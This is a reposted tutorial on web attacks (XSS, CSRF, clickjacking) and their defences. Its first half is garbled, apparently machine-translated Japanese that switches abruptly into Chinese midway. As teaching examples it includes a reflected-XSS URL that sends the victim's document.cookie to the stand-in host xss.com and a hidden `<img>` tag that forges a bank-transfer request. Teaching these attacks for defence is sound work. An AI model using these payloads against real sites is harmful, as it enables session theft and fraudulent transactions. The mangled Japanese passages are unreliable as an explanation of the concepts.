[電源を入れる] Webセキュリティの3回の攻撃と守備の姿勢

XSSのクロスサイトスクリプティング

XSS（クロスサイトスクリプティング）が、ない略語やカスケーディングスタイルシート（カスケードスタイルシート、CSS）混乱するためには、XSS XSSと略記されます。ウェブスクリプトコード内に埋め込まページを閲覧したユーザが、実行された場合、悪意のあるユーザーの目的を達成するために、悪意のある攻撃者は、スクリプトコードを使用して、悪質なWebページを挿入します。
分類

1. 折り返し型XSS（反射ベースXSS攻撃）

2. 保存されたXSS（ストレージベースのXSS攻撃）

3. DOMベースまたはローカルXSS（DOMベースのXSS攻撃またはローカル）

XSS（反射ベースのXSS攻撃を）反映
主フィードバックシステムの挙動の抜け穴を使用することによって、それによってウェブ攻撃を開始し、ユーザーがアクティブなトリガを欺きます。

例えば：
1.検索サイトがどうなる時間未満、製品を見つけるために慎重に選択されたサイトでは、と仮定すると、「xxxの棚を要求しません。」以下に。

コンテンツを検索するための検索ボックスで、[塗りつぶし

“<script>alert('xss')</script>”

• 1

[検索]をクリックします。
3.現在、入力されたデータのないフィルタリングがページに直接表示されないページの最後には、それは文字列を警告します。
（もちろん、図は、アナログです）

以上の3つのステップだけ「楽しま」、XSSは、最も重要な第四工程です。
4.利用者は、このアドレスをクリックして他の人を許可するように、QQグループやスパムを通じて、クッキーのアドレスを取得するように構成することができます。

http://you.163.com/search?keyword=&lt;script&gt;document.location=<span class="string">'http://xss.com/get?cookie='</span>+document.cookie&lt;/script&gt;

• 1

ユーザーはただ慎重に選択したサイトにログインしてだまされている場合、ユーザーのログインCookie情報が攻撃者のサーバー（に送信されてきたxss.com）A。もちろん、攻撃者は、より多くの過度の操作のいくつかを行います。

保存されたXSS（ストレージベースのXSS攻撃）

ストアドXSSはXSSを反射し、差がスクリプトの攻勢がサーバーに保存され、通常のユーザーの完全なサービスや実行から作ることができるということで、このようにネットワーク上で広がる能力を獲得しました。

別の栗のように：

1. 悪質なスクリプトが含ま記事、送信
   こんにちは！あなたはこのテキストが表示されたら、あなたの情報はすでに安全ではありませんの！

2. フィルタなしの記事の後端部には、直接データベースに記事の内容を保存します。

3. 他の読者は、この記事を読んだときに、悪意のあるスクリプトが実行されますが含まれています。

ヒント：全体記事は、HTMLコンテンツで保存し、前面表示は、フィルタリングを実行する時間はありませんが、それは可能性が高い。このような状況です。

ここでタイトルのブログサイトからのより多くのです。

私達はちょうどメッセージをポップアップ表示し、記事を削除しないで動作している場合は、反動の記事を発行した、または私はこの記事のファンになり、攻撃を持っていない、悪意のあるスクリプト、で転送します。

** DOMベースまたはローカルXSS（DOMベースのXSS攻撃またはローカル）

DOMは、ドキュメントオブジェクトモデルの略で、プログラムとスクリプトが動的にアクセスし、更新文書の内容、構造、およびスタイルを可能にするプラットフォームや言語に依存しないインタフェースです。

DOM XSSのタイプは、それが脆弱性ベースのDOMドキュメントオブジェクトモデルで、実際に反射XSSの特殊なタイプです。あなたは、動的にクライアントからデータを取得し、ローカルに実行してDOM、DOMによるページのコンテンツを変更することができます。この特性に基づいて、JSのスクリプトを使用してXSSの脆弱性を使用して実装することができます。

DOM属性は、XSSの種類をトリガー可能性があります。

document.refererプロパティ

window.nameプロパティ

プロパティの場所

innerHTMLプロパティ

documen.write属性

...... **

要約
XSS攻撃は、本質的に、すべての手段によって、対象ユーザーのブラウザに攻撃スクリプトを実行します。

予防
の入力、出力、出力のすべてのクライアントユーザの内容として信頼されていないためには、DOMに追加したり、DOM APIを実行するデータは、我々は、XSS攻撃を防ぐために、コンテンツHtmlEncodeまたはJavaScriptEncodeを必要としています。

CSRF CSRF

また、「ワンクリックアタック」やセッション乗馬として知られているCSRF（クロスサイトリクエストフォージェリ）、クロスサイトリクエストフォージェリは、多くの場合、CSRFまたはXSRFと略記、サイトの悪質な使用です。それは、クロスサイトスクリプティング（XSS）のように聞こえるが、それはXSSとは非常に異なっているがCSRFは、信頼できるサイトから使用する信頼できるユーザーの要求によって変装している間、XSSは、サイトの利用でユーザーを信頼できます。XSS攻撃と比較すると、CSRF攻撃は、多くの場合、非常に人気がありません（したがって、そのリソースを防ぐために非常にまれである）と擁護することは困難で、それがXSSよりも危険と考えられています。しかし、多くの場合、XSSと一緒に犯罪を犯します！

hydddボーエンのhttpから転送されたこのセクションの下に詳細：//www.cnblogs.com/hyddd / ...、の例では、これまでのトランスクリプションの一部への書き込みのようなものである、と著者hyddd＆感謝に敬意を払うために、いくつかの変更を行いました。

あなたは何CSRFを行うことができますか？

あなたは、CSRF攻撃を理解することができます：攻撃者があなたに代わって、悪質なリクエストを送信するためにあなたのアイデンティティを盗みました。CSRFは、物事には、行うことができます：アカウントを盗む、電子メール、メッセージングの名前を送信し、さらに商品の購入、仮想通貨転送する......起因する問題は、次のとおりです。個人のプライバシーや財産の安全性の開示を。

ステータスCSRFの脆弱性

このようなCSRF攻撃は2000外国セキュリティ担当者に提案されているが、国では、2006年になるまでは、2008年には、心配するようになった、大規模な国内および国際社会とインタラクティブなウェブサイトの数だったような破ったCSRFの脆弱性、：NYTimesの.COM（ニューヨーク・タイムズ）、Metafilter（大BLOGサイト）は、YouTube、およびBaiduのHI ......今、インターネット上の多くのサイトはとてもCSRFセキュリティ業界などと呼ばれ、このための準備ができていない、まだある「スリーピングジャイアント。」

CSRF原理

下の図は、シンプルなアイデアCSRF攻撃を示しています。

それは、チャートから分かるように、CSRF攻撃を完了するために、被害者が連続して2つのステップを完了する必要があります。

1. 信頼できるサイトAにログインし、ローカルにクッキーを生成します。
2. Aの場合には、外の危険なウェブサイトB.へのアクセスではありません

ここを参照してください、あなたは言うかもしれない：「私は2つの条件の複数を満たしていない場合、私はCSRF攻撃ではないでしょう。」はい、それはありませんが、あなたは状況が発生しないという保証はありません。

1. 你不能保证你登录了一个网站后，不再打开一个tab页面并访问另外的网站。
2. 你不能保证你关闭浏览器了后，你本地的Cookie立刻过期，你上次的会话已经结束。(事实上，关闭浏览器不能结束一个会话，但大多数人都会错误的认为关闭浏览器就等于退出登录/结束会话了……)
3. 上图中所谓的攻击网站，可能是一个存在其他漏洞的可信任的经常被人访问的网站。

示例

上面大概地讲了一下CSRF攻击的思想，下面我将用几个例子详细说说具体的CSRF攻击，这里我以一个银行转账的操作作为例子(仅仅是例子，真实的银行网站没这么傻:>)

示例1

银行网站A，它以GET请求来完成银行转账的操作，如：http://www.mybank.com/Transfe…

危险网站B，它里面有一段HTML的代码如下：

<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

首先，你登录了银行网站A，然后访问危险网站B，噢，这时你会发现你的银行账户少了1000块……

为什么会这样呢?原因是银行网站A违反了HTTP规范，使用GET请求更新资源。在访问危险网站B的之前，你已经登录了银行网站A，而B中的以GET的方式请求第三方资源(这里的第三方就是指银行网站了，原本这是一个合法的请求，但这里被不法分子利用了)，所以你的浏览器会带上你的银行网站A的Cookie发出Get请求，去获取资源

http://www.mybank.com/Transfer.php?toBankId=11&money=1000
结果银行网站服务器收到请求后，认为这是一个更新资源操作(转账操作)，所以就立刻进行转账操作……

其实可以看出，CSRF攻击是源于WEB的隐式身份验证机制!WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器，但却无法保证该请求是用户批准发送的!

当前防御 CSRF 的几种策略

在业界目前防御 CSRF 攻击主要有三种策略：验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证。下面就分别对这三种策略进行详细介绍。

验证 HTTP Referer 字段

利用HTTP头中的Referer判断请求来源是否合法。

优点：
简单易行，只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以。特别是对于当前现有的系统，不需要改变当前系统的任何已有代码和逻辑，没有风险，非常便捷。

缺点：

1. Referer 的值是由浏览器提供的，不可全信，低版本浏览器下Referer存在伪造风险。
2. 用户自己可以设置浏览器使其在发送请求时不再提供 Referer时，网站将拒绝合法用户的访问。

在请求地址中添加 token 并验证

在请求中放入黑客所不能伪造的信息，并且该信息不存在于 cookie 之中，以HTTP请求参数的形式加入一个随机产生的 token交由服务端验证

优点：比检查 Referer 要安全一些，并且不涉及用户隐私。

缺点：对所有请求都添加token比较困难，难以保证 token 本身的安全，依然会被利用获取到token

在 HTTP 头中自定义属性并验证+One-Time Tokens

将token放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 的异步请求交由后端校验，并且一次有效。

优点：统一管理token输入输出，可以保证token的安全性

缺点：有局限性，无法在非异步的请求上实施

点击劫持

点击劫持，英文名clickjacking，也叫UI覆盖攻击，攻击者会利用一个或多个透明或不透明的层来诱骗用户支持点击按钮的操作，而实际的点击确实用户看不到的一个按钮，从而达到在用户不知情的情况下实施攻击。

这种攻击方式的关键在于可以实现页中页的 iframe 标签，并且可以使用css样式表将他不可见

如以上示意图的蓝色层，攻击者会通过一定的手段诱惑用户“在红色层”输入信息，但用户实际上实在蓝色层中，以此做欺骗行为。

拿支付宝做个例子

是的，这个是我伪造的，如果我将真正的充值站点隐藏在此界面上方。我想，聪明的你已经知道clickjacking的危险性了。

上图我估计做了一下错位和降低透明度，是不是很有意思呢?傻傻分不清的用户还以为是领取了奖品，其实是给陌生人充值了话费。

这种方法最常见的攻击场景是伪造一些网站盗取帐号信息，如支付宝、QQ、网易帐号等帐号的账密



目前，clickjacking还算比较冷门，很多安全意识不强的网站还未着手做clickjacking的防范。这是很危险的。

防范

防止点击劫持有两种主要方法：

X-FRAME-OPTIONS

X-FRAME-OPTIONS是微软提出的一个http头，指示浏览器不允许从其他域进行取景，专门用来防御利用iframe嵌套的点击劫持攻击。并且在IE8、Firefox3.6、Chrome4以上的版本均能很好的支持。

这个头有三个值：

DENY // 拒绝任何域加载

SAMEORIGIN // 允许同源域下加载

ALLOW-FROM // 可以定义允许frame加载的页面地址

顶层判断

在UI中采用防御性代码，以确保当前帧是最顶层的窗口

方法有多中，如

top != self || top.location != self.location || top.location != location

「NSFOCUSのブログから転送」：元のリンクHttp://blog.nsfocus.net/offensive-defensive-stances-web-security/